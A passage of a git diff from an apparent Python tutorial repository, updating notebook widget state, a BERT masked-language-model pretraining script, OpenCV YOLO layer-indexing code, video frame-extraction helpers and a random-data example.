null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "8e584ca82c4d4d618619329f06b2690e": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "8feb87b41510493fabf279211e804029": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" - } - }, - "9225e09f96dc413489f4678e03c23fba": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HTMLModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HTMLView", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_3f966a6c29de404d99750320bdb2d074", - "placeholder": "​", - "style": "IPY_MODEL_1ce5dcc33cad48108f7dcdc3a63d5a3e", - "value": "100%" + "top": null, + "visibility": null, + "width": null } }, - "96c997fec3fe44bcb837d1f57865d5d3": { + "8bec66cc71aa433ea55697d640988262": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", "model_name": "HTMLModel", @@ -2060,28 +2195,13 @@ "_view_name": "HTMLView", "description": "", "description_tooltip": null, - "layout": "IPY_MODEL_d16b6d7efd414b38b6cd095c044a3177", + "layout": "IPY_MODEL_6aa0294bb5b741f49883998b69accaba", "placeholder": "​", - "style": "IPY_MODEL_f8af3ffed05e498eae51d609082f2f32", - "value": " 4.62k/? [00:00<00:00, 127kB/s]" - } - }, - "9b4ce58af0254f25a90ca1e0dcf58016": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" + "style": "IPY_MODEL_f6721fa0034043138705c565a4b77b77", + "value": " 4.38k/? [00:00<00:00, 82.1kB/s]" } }, - "9ef78359b92143ff9cbd65286d396fdd": { + "938c3b47fef24ad48b0ace7e7dcfcd80": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", "model_name": "HTMLModel", @@ -2096,13 +2216,13 @@ "_view_name": "HTMLView", "description": "", "description_tooltip": null, - "layout": "IPY_MODEL_7f455480ddbb49b8b8c9238007d0a963", + "layout": "IPY_MODEL_6c082c2cd59f483981b4839dff47e071", "placeholder": "​", - "style": "IPY_MODEL_a9c47b7ef8e946de9981b9fedea055d0", - "value": " 282/319 [1:14:33<09:45, 15.83s/ba]" + "style": "IPY_MODEL_62fe563ea6a74aa59833ce78423213da", + "value": " 71/71 [01:46<00:00, 1.42s/ba]" } }, - "9f9ee7d69dc54611afeb2e8d51d905c3": { + "93b2d9dd8440496f8d1812993530dc05": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -2154,7 +2274,7 @@ "width": null } }, - "a2ab6d08a9d24cd7b583b0be69767974": { + "98d3d993e19d4f448cbca02235a850ac": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", "model_name": "FloatProgressModel", @@ -2167,70 +2287,18 @@ "_view_module": "@jupyter-widgets/controls", "_view_module_version": "1.5.0", "_view_name": "ProgressView", - "bar_style": "", + "bar_style": "success", "description": "", "description_tooltip": null, - "layout": "IPY_MODEL_d86facf39b794f1798cf6140aab61f6c", - "max": 319, + "layout": "IPY_MODEL_89fdcc82f49f4ab2b498bb5d46f9b73b", + "max": 1746, "min": 0, "orientation": "horizontal", - "style": "IPY_MODEL_539e840884844c658700d53351dadb88", - "value": 283 - } - }, - "a45ab013f42c488bb9cf3c36c5971ea3": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HBoxModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HBoxModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HBoxView", - "box_style": "", - "children": [ - "IPY_MODEL_d4bc5fe9c6d44b4da2c97ccfac7d04a5", - "IPY_MODEL_a2ab6d08a9d24cd7b583b0be69767974", - "IPY_MODEL_9ef78359b92143ff9cbd65286d396fdd" - ], - "layout": "IPY_MODEL_8e584ca82c4d4d618619329f06b2690e" - } - }, - "a9c47b7ef8e946de9981b9fedea055d0": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" - } - }, - "aa0019485825455b9ded33be7a591bdd": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" + "style": "IPY_MODEL_d34ef4b4dfb540e28f878df61f27ff26", + "value": 1746 } }, - "ae4b485f57e44fd081f71b6b765853ef": { + "99bbccd66c66489b96470d3e9caf1f1f": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -2282,7 +2350,31 @@ "width": null } }, - "b08a6ac88f56455ea29474fa37a07209": { + "9f7e7e08223343d5b78d5c2d8855640d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a77ad1702bf7439f87f7b1084d278717", + "max": 932, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_241cca42438046aea2a9b4874f37c8b1", + "value": 932 + } + }, + "a77ad1702bf7439f87f7b1084d278717": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -2334,7 +2426,7 @@ "width": null } }, - "b7e3db649f4a4a5a826e1927901ecf26": { + "b45af68d650f445d97876e9b51d3f15a": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -2386,7 +2478,7 @@ "width": null } }, - "ba67cc37f545485d8663cbc2471af206": { + "ba0b6327ac3740f79f66cb54d131f4fa": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -2438,23 +2530,7 @@ "width": null } }, - "bdbd88ef76a041669f00be6a53952545": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "ProgressStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "ProgressStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "bar_color": null, - "description_width": "" - } - }, - "bf38247632e94a5fb88cccbbb4554300": { + "bc97183430e34db4b073305ce07d6f41": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -2506,7 +2582,7 @@ "width": null } }, - "c308902ea49a4382ac9e826da8b4ab5c": { + "bce52428773848faba37e3a41747b4e9": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -2558,7 +2634,29 @@ "width": null } }, - "d16b6d7efd414b38b6cd095c044a3177": { + "bed4e885cf5d4b82a38833820b8e118f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_4589cb842c7842ddb0e9bca6db71d590", + "IPY_MODEL_3748fb75842f4392b40fbfab0b7c9caa", + "IPY_MODEL_938c3b47fef24ad48b0ace7e7dcfcd80" + ], + "layout": "IPY_MODEL_f10afe04e61d4edeb33d8907a1192891" + } + }, + "c082792cfdde4faab6bea631addceb00": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -2610,7 +2708,23 @@ "width": null } }, - "d4bc5fe9c6d44b4da2c97ccfac7d04a5": { + "c082e56c91ce4bb4a4bb1e0b0001eaa2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "c73ea971834643fab70be84563d06f6a": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", "model_name": "HTMLModel", @@ -2625,13 +2739,99 @@ "_view_name": "HTMLView", "description": "", "description_tooltip": null, - "layout": "IPY_MODEL_d65e498fc9af4ec3ae756f7bd4d555c7", + "layout": "IPY_MODEL_fa06a799cfe8477a8e3a99a6dd99ca27", "placeholder": "​", - "style": "IPY_MODEL_f553df028d4a49b2875e14b2e0a71c02", - "value": "Grouping texts in chunks of 512: 89%" + "style": "IPY_MODEL_d4d1386f42534f8584d0c1e0428bd65b", + "value": "Downloading data: 100%" + } + }, + "cdcc3c356d91458ba4be2f1a8b41f9da": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7a3d34b2e76a4d4b8b14ac5aefb3883f", + "max": 708241, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_ffd1f3803c154f68b9b921cfefc00604", + "value": 708241 + } + }, + "cfcf5950147d45e0bc3c8689b5b76073": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "d34ef4b4dfb540e28f878df61f27ff26": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "d4d1386f42534f8584d0c1e0428bd65b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d78152622ecf4f3da35756557a802251": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" } }, - "d65e498fc9af4ec3ae756f7bd4d555c7": { + "d84d85ce2d3f4dd491a44b97e653e175": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -2683,7 +2883,7 @@ "width": null } }, - "d86facf39b794f1798cf6140aab61f6c": { + "e33fa1b90e9947e8858db2ef44969e37": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -2735,23 +2935,22 @@ "width": null } }, - "dbea538f5aab4376ab5adff219c6a7e8": { + "e4be24ca306d4a5c8d4a8a1718225590": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", - "model_name": "ProgressStyleModel", + "model_name": "DescriptionStyleModel", "state": { "_model_module": "@jupyter-widgets/controls", "_model_module_version": "1.5.0", - "_model_name": "ProgressStyleModel", + "_model_name": "DescriptionStyleModel", "_view_count": null, "_view_module": "@jupyter-widgets/base", "_view_module_version": "1.2.0", "_view_name": "StyleView", - "bar_color": null, "description_width": "" } }, - "dc4112e6c75242a4ab704fdbfe61016d": { + "e549c9c30ce44951b93b1f9d4d1cfca1": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", "model_name": "HTMLModel", @@ -2766,13 +2965,13 @@ "_view_name": "HTMLView", "description": "", "description_tooltip": null, - "layout": "IPY_MODEL_056cc9ebf83748f69ab06654669cbade", + "layout": "IPY_MODEL_c082792cfdde4faab6bea631addceb00", "placeholder": "​", - "style": "IPY_MODEL_8feb87b41510493fabf279211e804029", - "value": " 71/71 [01:24<00:00, 1.16s/ba]" + "style": "IPY_MODEL_2e10e57221ef46d695eb16fd25ec5e49", + "value": "Downloading metadata: " } }, - "dec268a4d4fd45a5805337a27daf270e": { + "f10afe04e61d4edeb33d8907a1192891": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -2824,44 +3023,22 @@ "width": null } }, - "e034b565bf8043419f588cb19ea8a640": { + "f6363254e1fd40b88ec971851ad7e441": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", - "model_name": "ProgressStyleModel", + "model_name": "DescriptionStyleModel", "state": { "_model_module": "@jupyter-widgets/controls", "_model_module_version": "1.5.0", - "_model_name": "ProgressStyleModel", + "_model_name": "DescriptionStyleModel", "_view_count": null, "_view_module": "@jupyter-widgets/base", "_view_module_version": "1.2.0", "_view_name": "StyleView", - "bar_color": null, "description_width": "" } }, - "ea006c31f1f1443e8c1ae665fdfad963": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HTMLModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HTMLView", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_08a34c8f11b34619b7cad19d13e93b66", - "placeholder": "​", - "style": "IPY_MODEL_9b4ce58af0254f25a90ca1e0dcf58016", - "value": " 638/638 [12:45<00:00, 1.02s/ba]" - } - }, - "eab32afa2da04737ba611247839133a6": { + "f6721fa0034043138705c565a4b77b77": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", "model_name": "DescriptionStyleModel", @@ -2876,7 +3053,7 @@ "description_width": "" } }, - "eb714a156833448a93e9bd9ae389b89e": { + "fa06a799cfe8477a8e3a99a6dd99ca27": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -2925,36 +3102,22 @@ "right": null, "top": null, "visibility": null, - "width": "20px" - } - }, - "f553df028d4a49b2875e14b2e0a71c02": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" + "width": null } }, - "f8af3ffed05e498eae51d609082f2f32": { + "ffd1f3803c154f68b9b921cfefc00604": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", + "model_name": "ProgressStyleModel", "state": { "_model_module": "@jupyter-widgets/controls", "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", + "_model_name": "ProgressStyleModel", "_view_count": null, "_view_module": "@jupyter-widgets/base", "_view_module_version": "1.2.0", "_view_name": "StyleView", + "bar_color": null, "description_width": "" } } @@ -2963,4 +3126,4 @@ }, "nbformat": 4, "nbformat_minor": 0 -} +} \ No newline at end of file diff --git a/machine-learning/nlp/pretraining-bert/pretrainingbert.py b/machine-learning/nlp/pretraining-bert/pretrainingbert.py index 5ce43a44..0e60ca68 100644 --- a/machine-learning/nlp/pretraining-bert/pretrainingbert.py +++ b/machine-learning/nlp/pretraining-bert/pretrainingbert.py @@ -7,7 +7,7 @@ https://colab.research.google.com/drive/1An1VNpKKMRVrwcdQQNSe7Omh_fl2Gj-2 """ -# !pip install datasets transformers==4.11.2 sentencepiece +!pip install datasets transformers==4.18.0 sentencepiece from datasets import * from transformers import * @@ -66,7 +66,7 @@ def dataset_to_text(dataset, output_filename="data.txt"): # maximum sequence length, lowering will result to faster training (when increasing batch size) max_length = 512 # whether to truncate -truncate_longer_samples = True +truncate_longer_samples = False # initialize the WordPiece tokenizer tokenizer = BertWordPieceTokenizer() @@ -103,7 +103,8 @@ def dataset_to_text(dataset, output_filename="data.txt"): def encode_with_truncation(examples): """Mapping function to tokenize the sentences passed with truncation""" - return tokenizer(examples["text"], truncation=True, padding="max_length", max_length=max_length, return_special_tokens_mask=True) + return tokenizer(examples["text"], truncation=True, padding="max_length", + max_length=max_length, return_special_tokens_mask=True) def encode_without_truncation(examples): """Mapping function to tokenize the sentences passed without truncation""" @@ -116,20 +117,23 @@ def encode_without_truncation(examples): train_dataset = d["train"].map(encode, batched=True) # tokenizing the testing dataset test_dataset = d["test"].map(encode, batched=True) + if truncate_longer_samples: - # remove other columns and set input_ids and attention_mask as + # remove other columns and set input_ids and attention_mask as PyTorch tensors train_dataset.set_format(type="torch", columns=["input_ids", "attention_mask"]) test_dataset.set_format(type="torch", columns=["input_ids", "attention_mask"]) else: + # remove other columns, and remain them as Python lists test_dataset.set_format(columns=["input_ids", "attention_mask", "special_tokens_mask"]) train_dataset.set_format(columns=["input_ids", "attention_mask", "special_tokens_mask"]) -train_dataset, test_dataset +from itertools import chain # Main data processing function that will concatenate all texts from our dataset and generate chunks of # max_seq_length. +# grabbed from: https://github.com/huggingface/transformers/blob/main/examples/pytorch/language-modeling/run_mlm.py def group_texts(examples): # Concatenate all texts. - concatenated_examples = {k: sum(examples[k], []) for k in examples.keys()} + concatenated_examples = {k: list(chain(*examples[k])) for k in examples.keys()} total_length = len(concatenated_examples[list(examples.keys())[0]]) # We drop the small remainder, we could add padding if the model supported it instead of this drop, you can # customize this part to your needs. @@ -141,6 +145,7 @@ def group_texts(examples): for k, t in concatenated_examples.items() } return result + # Note that with `batched=True`, this map processes 1,000 texts together, so group_texts throws away a # remainder for each of those groups of 1,000 texts. You can adjust that batch_size here but a higher value # might be slower to preprocess. @@ -148,12 +153,15 @@ def group_texts(examples): # To speed up this part, we use multiprocessing. See the documentation of the map method for more information: # https://huggingface.co/docs/datasets/package_reference/main_classes.html#datasets.Dataset.map if not truncate_longer_samples: - train_dataset = train_dataset.map(group_texts, batched=True, batch_size=2_000, + train_dataset = train_dataset.map(group_texts, batched=True, desc=f"Grouping texts in chunks of {max_length}") - test_dataset = test_dataset.map(group_texts, batched=True, batch_size=2_000, - num_proc=4, desc=f"Grouping texts in chunks of {max_length}") + test_dataset = test_dataset.map(group_texts, batched=True, + desc=f"Grouping texts in chunks of {max_length}") + # convert them from lists to torch tensors + train_dataset.set_format("torch") + test_dataset.set_format("torch") -len(test_dataset) +len(train_dataset), len(test_dataset) # initialize the model with the config model_config = BertConfig(vocab_size=vocab_size, max_position_embeddings=max_length) @@ -173,8 +181,8 @@ def group_texts(examples): per_device_train_batch_size=10, # the training batch size, put it as high as your GPU memory fits gradient_accumulation_steps=8, # accumulating the gradients before updating the weights per_device_eval_batch_size=64, # evaluation batch size - logging_steps=500, # evaluate, log and save model checkpoints every 1000 step - save_steps=500, + logging_steps=1000, # evaluate, log and save model checkpoints every 1000 step + save_steps=1000, # load_best_model_at_end=True, # whether to load the best model (in terms of loss) at the end of training # save_total_limit=3, # whether you don't have much space so you let only 3 model weights saved in the disk ) @@ -192,11 +200,24 @@ def group_texts(examples): trainer.train() # when you load from pretrained -# model = BertForMaskedLM.from_pretrained(os.path.join(model_path, "checkpoint-10000")) -# tokenizer = BertTokenizerFast.from_pretrained(model_path) +model = BertForMaskedLM.from_pretrained(os.path.join(model_path, "checkpoint-6000")) +tokenizer = BertTokenizerFast.from_pretrained(model_path) +# or simply use pipeline fill_mask = pipeline("fill-mask", model=model, tokenizer=tokenizer) # perform predictions example = "It is known that [MASK] is the capital of Germany" for prediction in fill_mask(example): - print(prediction) \ No newline at end of file + print(prediction) + +# perform predictions +examples = [ + "Today's most trending hashtags on [MASK] is Donald Trump", + "The [MASK] was cloudy yesterday, but today it's rainy.", +] +for example in examples: + for prediction in fill_mask(example): + print(f"{prediction['sequence']}, confidence: {prediction['score']}") + print("="*50) + +!nvidia-smi \ No newline at end of file diff --git a/machine-learning/nlp/pretraining-bert/requirements.txt b/machine-learning/nlp/pretraining-bert/requirements.txt index 583a57f1..8dd20daf 100644 --- a/machine-learning/nlp/pretraining-bert/requirements.txt +++ b/machine-learning/nlp/pretraining-bert/requirements.txt @@ -1,3 +1,3 @@ -transformers==4.11.2 +transformers==4.18.0 datasets sentencepiece \ No newline at end of file diff --git a/machine-learning/nlp/text-paraphrasing/Paraphrasing_with_Transformers_PythonCode.ipynb b/machine-learning/nlp/text-paraphrasing/Paraphrasing_with_Transformers_PythonCode.ipynb index acd14c33..55d76df0 100644 --- a/machine-learning/nlp/text-paraphrasing/Paraphrasing_with_Transformers_PythonCode.ipynb +++ b/machine-learning/nlp/text-paraphrasing/Paraphrasing_with_Transformers_PythonCode.ipynb @@ -644,8 +644,9 @@ " print(\"Input_phrase: \", phrase)\n", " print(\"-\"*100)\n", " paraphrases = parrot.augment(input_phrase=phrase)\n", - " for paraphrase in paraphrases:\n", - " print(paraphrase)" + " if paraphrases:\n", + " for paraphrase in paraphrases:\n", + " print(paraphrase)" ] } ], diff --git a/machine-learning/nlp/text-paraphrasing/paraphrasing_with_transformers_pythoncode.py b/machine-learning/nlp/text-paraphrasing/paraphrasing_with_transformers_pythoncode.py index 733a2cf7..01fdfc14 100644 --- a/machine-learning/nlp/text-paraphrasing/paraphrasing_with_transformers_pythoncode.py +++ b/machine-learning/nlp/text-paraphrasing/paraphrasing_with_transformers_pythoncode.py @@ -61,6 +61,7 @@ def get_paraphrased_sentences(model, tokenizer, sentence, num_return_sequences=5 print("Input_phrase: ", phrase) print("-"*100) paraphrases = parrot.augment(input_phrase=phrase) - for paraphrase in paraphrases: - print(paraphrase) + if paraphrases: + for paraphrase in paraphrases: + print(paraphrase) diff --git a/machine-learning/object-detection/live_yolo_opencv.py b/machine-learning/object-detection/live_yolo_opencv.py index 7f83359d..7c9f1eef 100644 --- a/machine-learning/object-detection/live_yolo_opencv.py +++ b/machine-learning/object-detection/live_yolo_opencv.py @@ -16,7 +16,11 @@ net = cv2.dnn.readNetFromDarknet(config_path, weights_path) ln = net.getLayerNames() -ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] +try: + ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] +except IndexError: + # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available + ln = [ln[i - 1] for i in net.getUnconnectedOutLayers()] cap = cv2.VideoCapture(0) diff --git a/machine-learning/object-detection/read_video.py b/machine-learning/object-detection/read_video.py index 123bb742..752d37a7 100644 --- a/machine-learning/object-detection/read_video.py +++ b/machine-learning/object-detection/read_video.py @@ -17,7 +17,11 @@ net = cv2.dnn.readNetFromDarknet(config_path, weights_path) ln = net.getLayerNames() -ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] +try: + ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] +except IndexError: + # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available + ln = [ln[i - 1] for i in net.getUnconnectedOutLayers()] # read the file from the command line video_file = sys.argv[1] cap = cv2.VideoCapture(video_file) diff --git a/machine-learning/object-detection/yolo_opencv.py b/machine-learning/object-detection/yolo_opencv.py index 7ab289b5..d4d7a86b 100644 --- a/machine-learning/object-detection/yolo_opencv.py +++ b/machine-learning/object-detection/yolo_opencv.py @@ -37,7 +37,11 @@ # get all the layer names ln = net.getLayerNames() -ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] +try: + ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] +except IndexError: + # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available + ln = [ln[i - 1] for i in net.getUnconnectedOutLayers()] # feed forward (inference) and get the network output # measure how much it took in seconds start = time.perf_counter() diff --git a/python-for-multimedia/extract-frames-from-video/extract_frames_moviepy.py b/python-for-multimedia/extract-frames-from-video/extract_frames_moviepy.py index 17eeec8d..14b44670 100644 --- a/python-for-multimedia/extract-frames-from-video/extract_frames_moviepy.py +++ b/python-for-multimedia/extract-frames-from-video/extract_frames_moviepy.py @@ -13,7 +13,7 @@ def format_timedelta(td): try: result, ms = result.split(".") except ValueError: - return result + ".00".replace(":", "-") + return (result + ".00").replace(":", "-") ms = int(ms) ms = round(ms / 1e4) return f"{result}.{ms:02}".replace(":", "-") @@ -35,7 +35,7 @@ def main(video_file): # iterate over each possible frame for current_duration in np.arange(0, video_clip.duration, step): # format the file name and save it - frame_duration_formatted = format_timedelta(timedelta(seconds=current_duration)).replace(":", "-") + frame_duration_formatted = format_timedelta(timedelta(seconds=current_duration)) frame_filename = os.path.join(filename, f"frame{frame_duration_formatted}.jpg") # save the frame with the current duration video_clip.save_frame(frame_filename, current_duration) diff --git a/python-for-multimedia/extract-frames-from-video/extract_frames_opencv.py b/python-for-multimedia/extract-frames-from-video/extract_frames_opencv.py index 2bd17696..62445c22 100644 --- a/python-for-multimedia/extract-frames-from-video/extract_frames_opencv.py +++ b/python-for-multimedia/extract-frames-from-video/extract_frames_opencv.py @@ -13,7 +13,7 @@ def format_timedelta(td): try: result, ms = result.split(".") except ValueError: - return result + ".00".replace(":", "-") + return (result + ".00").replace(":", "-") ms = int(ms) ms = round(ms / 1e4) return f"{result}.{ms:02}".replace(":", "-") diff --git a/python-standard-library/generating-random-data/generate.py b/python-standard-library/generating-random-data/generate.py index ea6bf2ac..655c9fc6 100644 --- a/python-standard-library/generating-random-data/generate.py +++ b/python-standard-library/generating-random-data/generate.py @@ -3,6 +3,8 @@ import string import secrets +import numpy as np + # generate random integer between a and b (including a and b) randint = random.randint(1, 500) print("randint:", randint) @@ -19,6 +21,14 @@ choices = random.choices(range(1000), k=5) print("choices:", choices) +# get a random vector of size 20 +vector = np.random.random((30,)) +print("vector:\n", vector) + +# get a random matrix of size (3, 3) in the range [0, 100] +matrix = np.random.random((3, 3)) * 100 +print("matrix:\n", matrix) + # generate a random floating point number from 0.0 <= x <= 1.0 randfloat = random.random() print("randfloat between 0.0 and 1.0:", randfloat) diff --git a/python-standard-library/reading-email-messages/reading_emails.py b/python-standard-library/reading-email-messages/reading_emails.py index e106adce..f89ff9aa 100644 --- 